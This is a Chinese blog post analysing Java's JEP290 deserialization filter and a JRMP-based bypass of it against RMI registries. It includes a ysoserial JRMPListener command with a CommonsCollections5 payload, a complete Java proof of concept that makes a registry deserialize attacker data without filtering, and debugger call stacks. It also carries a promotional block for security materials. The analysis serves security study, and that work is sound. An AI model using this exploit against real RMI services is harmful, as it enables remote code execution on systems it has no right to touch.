首页 > 其他分享 >浅谈 JEP290

浅谈 JEP290

时间:2023-07-06 09:57:12浏览次数:40  
标签:java 浅谈 var2 JEP290 sun new rmi class

0x01 前言

属于是拖了很久的文章了,4.18 筹划着开始写,6.22 左右才真正开始提笔。

一开始提到这个概念可能会比较懵逼,其实这就是为什么高版本 jdk 有部分能打 jndi,打不了 RMI

8u121 ~ 8u230 打不了 RMI

0x02 关于 JEP290

JEP290 是 Java 底层为了缓解反序列化攻击提出的一种解决方案,主要做了以下几件事

1、提供一个限制反序列化类的机制,白名单或者黑名单。2、限制反序列化的深度和复杂度。3、为 RMI 远程调用对象提供了一个验证类的机制。4、定义一个可配置的过滤机制,比如可以通过配置 properties 文件的形式来定义过滤器。

官方从 8u121,7u13,6u141 分别支持了这个 JEP

0x03 JEP290 防御手段分析

先起一个 RMI 的服务,代码详见 —— https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/RMI

尝试去攻击,这里会报错,报错部分信息为

java.io.ObjectInputStream filterCheck
信息: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler

可以先看一下官方文档对于 JEP290 的描述 http://openjdk.java.net/jeps/290

  • 我们很容易通过描述来看对应增加的 Filter 点是什么,如图找到了 ObjectInputFilter 相关的类

我这里去看了看 ObjectInputFilter 相关的类,断点是下不去的,所以去到控制台去看,发现在 RegistryImpl_Skel 类中也存在报错现象,而这个类在 RMI 中是用来做反序列化的方法的。

跟进,ObjectInputStream 类调用了 readObject0() 方法,继续跟进

先获取输入当中 blkmode,如果数据为 true,则继续进行后续判断,后续做了一部分的数据处理工作,我们直接来看最重要的地方 1573 行,调用了 checkResolve() 方法,跟进

跟进 readClassDesc() 方法,这个方法主要是读取并返回类描述符,并判断这一类描述符是否可以解析为本地 VM 中的类。

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

在 readClassDesc() 方法中,判断 tc 所对应的类型,这里跟进 readProxyDesc() 方法

readProxyDesc() 方法做完一系列基础判断之后调用了 filterCheck() 方法,跟进

而 filterCheck() 方法又调用了 checkInput() 方法,这里应该是最终来判断输入是否合法的地方。

这里的判断会进行两次,一个是开启 JVM 的 java.rmi.Remote 类,另一个是我们放入的恶意利用类 sun.reflect.annotation.AnnotationInvocationHandler,第一次会先判断 java.rmi.Remote 类是否合法

对应的判断代码,其实也就是白名单了。代码会首先判断 var2 是否等于 String 类型。如果不是,则继续判断它是否满足下列几个条件中的任意一个:

return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;

而这里,我们的 sun.reflect.annotation.AnnotationInvocationHandler 类并不在这些白名单中,所以会被过滤

0x04 JEP290 绕过

这里我们可以先看一下白名单里面都能过什么,白名单如下

String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class

这里我觉得还是得从它在 JDK8u221 的具体环境下的流程分析入手,看一下在攻击流程之后哪里可以能够被利用,哪里可以 bypass

绕过利用

思考了在 RMI 的流程当中,哪一步能够绕过 JEP290 的检测,最终是 JRMP 的这一步,能够绕过,从原理图来说的话应该是这样

先用 ysoserial 开启 JRMP 3333 端口的监听

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "Calc"

然后编写 RMI 的 EXP

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
​
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
​
public class BypassJEP290 {
    public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {
        Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 2222
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(BypassJEP290.class.getClassLoader(), new Class[] {
                Registry.class
        }, obj);
        reg.bind("Hello",proxy);
    }
}

这个 payload 的原理就是伪造了一个 UnicastRef 用于跟注册中心通信,我们从 bind() 方法开始分析一下这一整个流程。

绕过分析

我们通过 getRegistry 时获得的注册中心,其实就是一个封装了 UnicastServerRef 对象的对象

当我们调用 bind 方法后,会通过 UnicastRef 对象中存储的信息与注册中心进行通信

这里会通过 ref 与注册中心通信,并将绑定的对象名称以及要绑定的远程对象发过去,注册中心在后续会对应进行反序列化

接着来看看 yso 中的 JRMPClient 是做了什么操作

ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
    Registry.class
}, obj);
return proxy;

这里返回了一个代理对象,上面用的这些类都在白名单里,当注册中心反序列化时,会调用到RemoteObjectInvacationHandler父类RemoteObjectreadObject方法(因为RemoteObjectInvacationHandler没有readObject方法),在readObject里的最后一行会调用ref.readExternal方法,并将ObjectInputStream传进去:

这里的调用栈非常长,总体上来说就是在做我上面所说的工作,调用栈如下

readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)     // 从此处开始,会遇到很多字节码不匹配的问题
dispatch:92, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1330984495 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

一路跟进到 sun.rmi.transport.LiveRef#read

可以看到这里把 payload 里所传入的 LiveRef 解析到 var5 变量处,里面包含了 ip 与 端口 信息(JRMPListener 的端口)。这些信息将用于后面注册中心与 JRMP 端建立通信。

跟进 saveRef() 方法,里面做了一个映射,其建立了一个 TCPEndpoint 到 ArrayList<LiveRef> 的映射关系。

到这里 JRMP 的通信流程基本结束了,接着再回到 dispatch() 方法,在调用了 readObject 方法之后调用了 var2.releaseInputStream();,跟进

releaseInputStream() 方法调用了 this.in.registerRefs() 方法,跟进。其中先判断了当前保存的 Ref 是否为空,再获取当前 Ref,这个 Ref 实际上就是创建的 JRMP 连接,再跟进 registerRefs() 方法

var2这里返回的是 DGCClient 对象,里边同样封装了我们的端口信息

接着看到 registerRefs 方法中的 this.makeDirtyCall(var2, var3);,跟进一下

里面主要是做了数据处理,将原本保存了 EndPoint 的 var1 —— HashSet 数组转换为 ObjID,同时,调用了 this.dgc.dirty() 方法,跟进。

在 dirty() 方法中调用 wirteObject() 方法后,会用 invoke() 将数据发出去。

invoke() 方法实现的过程就是从 socket 连接中先读取了输入,然后直接反序列化,此时的反序列化并没有设置 filter(白名单),所以这里可以直接导致注册中心 rce,所以我们可以伪造一个 socket 连接并把我们恶意序列化的对象发过去,这也就是当时用 ysoserial 开启的 JRMP

至此绕过分析结束

0x05 小结

本身 JEP290 的绕过分析的思路是非常清晰的,但是整个流程还是比较复杂的,总结一下是从 RMI 通信的流程当中找到了可乘之机。

更多网安技能的在线实操练习,请点击这里>>

 

标签:java,浅谈,var2,JEP290,sun,new,rmi,class
From: https://www.cnblogs.com/hetianlab/p/17531257.html

相关文章

  • 浅谈斜率优化
    如果一个DP的转移方程可以写成\(f_i=\underset{j<i}{\min\!/\!\max}\>\{f_j+a_i\timesb_j+c_i+d_j\}+C\)的形式,那么可以运用斜率优化。不妨设转移是\(\min\),设\(g_{i,j}=f_j+a_i\timesb_j+c_i+d_j\),即\(f_i=\min\limits_{j<i}g_{i,j}\),式子可以化为\(f_j+d_j=-a_i\time......
  • 浅谈java8中map的新方法
    Map在java8中新增了两个replace的方法1.replace(k,v)在指定的键已经存在并且有与之相关的映射值时才会将指定的键映射到指定的值(新值)在指定的键不存在时,方法会return回来一个nulljavadoc的注释解释了该默认值方法的实现的等价Java代码:if(map.containsKey(key)){returnmap.put(ke......
  • Qt杂谈5.浅谈Qt程序乱码那些事
    1为啥聊这个?你是否也在为Qt程序乱码的问题发愁?网上查了一大堆文章,十篇文章九篇一样,虽然碰运气把问题解决了,但是下次遇到同样的问题还是无从下手,如果你想从根本上理解并解决这个问题,那么可以看看这篇文章,希望能帮到你。2从代码出发2.1使用的Qt版本本人的测试环境:Qt版本:Desk......
  • 浅谈安科瑞EMS2.0能效管理平台在制药厂洁净室的电气设计与选型
    罗轩志安科瑞电气股份有限公上海嘉定201801摘要:从设计原则、动力配电、照明配电和通信等方面分析了在洁净室电气设计中应遵循的原则和应注意的问题,并通过附图详细表明了医药洁净室管线的密封处理方法。关键词:医药洁净室;药品生产质量管理规范;密封;照度;应急照明;防静电接地0引言随着......
  • 浅谈图论
    多源最短路算法(Floyd)说到最短路,就不得不提到松弛。所谓松弛,就是当存在\(w_{u,v}>w_{u,k}+w_{k,v}\)时,令\(w_{u,v}=w_{u,k}+w_{k,v}\)一般来说,松弛操作后,我们会用松弛后的边不断松弛其他边,而这,就是大部分最短路算法的思路。思考一下,若用DP的思想考虑,那么我们易设出状态\(f_{i......
  • 浅谈线性规划
    以前学了很多次都没学明白,今天再来看看。本文不会涉及单纯形法的知识点讲解,大部分题目侧重于线性规划对偶。同样本文不会涉及相关知识点的证明,或是线性规划解的整数性说明,毕竟这只是一个总结性的文章。拉格朗日对偶部分没学会,暂鸽。线性规划标准型对于任意线性规划,容易通过......
  • 浅谈线性基
    前言线性基是一种处理异或问题的利器,拥有优秀的时间复杂度基本性质概念定义:给定数集\(S\),以异或运算张成的数集与\(S\)相同的极大线性无关集,称为原数集的一个线性基。通俗地说,线性基是一个数的集合。每个序列都拥有至少一个线性基。取线性基中若干个数异或起来可以得到原......
  • 浅谈一下c#多线程编程
    概念线程:线程是操作系统能够进行运算调度的最小单位,被包含在进程之中,是进程中的实际运作单位。同步:一定要等任务执行完了,得到结果,才执行下一个任务。如果程序执行耗时操作时会阻塞线程。应用场景UI与I/O:UI发出I/O操作,I/O操作是费时任务计算密集型工作(CPU-boun......
  • 浅谈PCBA板机械加工分类
    印制板的机械加工主要应用于印制板坯料的下料(俗称开料)、孔加工和外形加工,是印制板整个工艺程序中的重要步骤。由于印制板的孔和外形加工质量都直接影响印制板的机械装配性能和电气连接性能,尤其是印制板上各种用途的孔(元件安装孔、导通孔、安装孔、定位孔、检测孔等)加工质量还会影......
  • 浅谈装配式建筑的抗震性能到底好不好?
    前言根据国家标准《装配式混凝土建筑技术标准》GB/T51231-2016、《装配式混凝土结构技术规程》JGJ1-2014的相关内容,目前我国的装配式建筑结构的抗震性能基本等同于现浇结构的抗震性能。而实际上,由于预制构件的标准化生产,其实际的混凝土性能指标是优于现场浇筑的混凝土的,因此,在所有......